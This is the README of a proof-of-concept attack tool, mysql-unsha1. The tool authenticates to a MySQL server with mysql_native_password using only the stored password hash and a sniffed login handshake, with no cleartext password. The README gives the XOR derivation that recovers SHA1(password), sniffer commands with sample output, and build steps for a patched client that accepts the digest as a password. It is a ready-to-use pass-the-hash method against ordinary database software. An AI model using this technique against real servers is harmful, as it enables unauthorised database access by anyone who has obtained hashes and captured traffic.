mysql-unsha1

Authenticate against a MySQL server without knowing the cleartext password.

Abstract

This PoC shows how it is possible to authenticate against a MySQL server under certain circumstances without knowing the cleartext password when the Secure Password Authentication authentication plugin (aka mysql_native_password, the default method) is used.

Preconditions are:

• to obtain a read-only access to the mysql.user table in the target database in order to fetch the hashed password for a given user;

• to be able to intercept a successful authentication handshake performed by the aforementioned user (i.e., authentication via SSL would nullify this attempt).

Note: This is not a bug nor a vulnerability in MySQL (this is hardly an exploit actually), it is just a direct consequence of how the authentication protocol works. If an attacker is able to satisfy the above points then the whole system is probably already compromised. Yet this exploit may offer an alternative approach to obtain a proper authenticated access to a MySQL server.

MySQL server passwords

By default, passwords are stored in the mysql.user table and are hashed using the PASSWORD function which is just a two-stage SHA1 digest:

mysql> SELECT DISTINCT password FROM mysql.user WHERE user = 'root';
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT PASSWORD('password');
*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

mysql> SELECT SHA1(UNHEX(SHA1('password')));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

The handshake

After the TCP connection phase, initiated by the client, the MySQL authentication handshake continues as follows (simplified):

1. the server sends a Server Greeting packet containing a salt (s);

2. the client replies with a Login Request packet containing the session password (x), computed as follows:

    x := SHA1(password) XOR SHA1(s + SHA1(SHA1(password)))
   

   where password is the cleartext password as provided by the user and + is a mere string concatenation operator;

3. the server can verify the challenge and authenticate the client if:

    SHA1(x XOR SHA1(s + SHA1(SHA1(password)))) = SHA1(SHA1(password))
   

   where SHA1(SHA1(password)) is the two-stage SHA1 digest of the password, stored in the mysql.user table; the server does not know the cleartext password nor its SHA1 digest.

The exploit

With enough information an attacker is able to obtain SHA1(password) and therefore to solve the server challenge without the knowledge of the cleartext password.

Let:

• h be the hashed password obtained from the mysql.user table (i.e., SHA1(SHA1(password)));

• s and x be the salt and the session password respectively obtained from the intercepted handshake.

The first-stage SHA1 can be obtained as follows:

SHA1(password) = x XOR SHA1(s + h)

Tools

To ease the reproducibility of the exploit, this PoC provides two tools:

• a simple sniffer to extract and check the handshake information either live or offline from a PCAP file;

• a patch for MySQL client which allows to treat the prompted passwords as SHA1 digests instead of cleartexts.

The sniffer

To build mysql-unsha1-sniff just run make (or make static to produce a statically linked executable). The Makefile will look for the uthash.h file in this directory and will download it if not found.

Run mysql-unsha1-sniff without arguments to display the usage message.

In accordance with the previous example:

sudo ./mysql-unsha1-sniff -i lo 127.0.0.1 3306 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19:root

Once a successful authentication handshake is captured the output will be like:

[+] Input:
[+] - username ........................ 'root'
[+] - salt ............................ 3274756c42415d3429717e482a3776704d706b49
[+] - client session password ......... 6d45a453b989ad0ff0c84daf623e9870f129c329
[+] - SHA1(SHA1(password)) ............ 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] Output:
[+] - SHA1(password) .................. 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
[+] Check:
[+] - computed SHA1(SHA1(password)) ... 2470c0c06dee42fd1618bb99005adca2ec9d1e19
[+] - authentication status ........... OK

If no account information are provided, the tool will only display the salt and the session password.

The patched MySQL client

Building the MySQL client may take some time and requires a certain amount of free disk space:

1. download and extract the MySQL source code:

    wget https://github.com/mysql/mysql-server/archive/mysql-5.7.17.tar.gz
    tar xf mysql-5.7.17.tar.gz
    cd mysql-server-mysql-5.7.17
   

2. apply the patch:

    patch -p1 </path/to/mysql-server-unsha1.patch
   

3. build (without server) with:

    mkdir build
    cd build
    cmake -DDOWNLOAD_BOOST=1 -DWITH_BOOST=boost -DWITHOUT_SERVER:BOOL=ON ..
    make -j$(nproc)
   

4. the client executable will be created at client/mysql, optionally install it globally and delete the whole source code to save some space:

    sudo cp client/mysql /usr/local/bin/mysql-unsha1
    cd ../..
    rm -fr mysql-server-mysql-5.7.17
   

Use mysql-unsha1 as the original MySQL client, just remember that the --password[=password], -p[password] option now requires a 40-digit hexadecimal SHA1 string.

In accordance with the previous example:

mysql-unsha1 -h 127.0.0.1 -P 3306 -u root --password=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8

Where:

mysql> SELECT SHA1(UNHEX('5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'));
2470c0c06dee42fd1618bb99005adca2ec9d1e19

and 2470c0c06dee42fd1618bb99005adca2ec9d1e19 is the hashed password stored in the mysql.user table.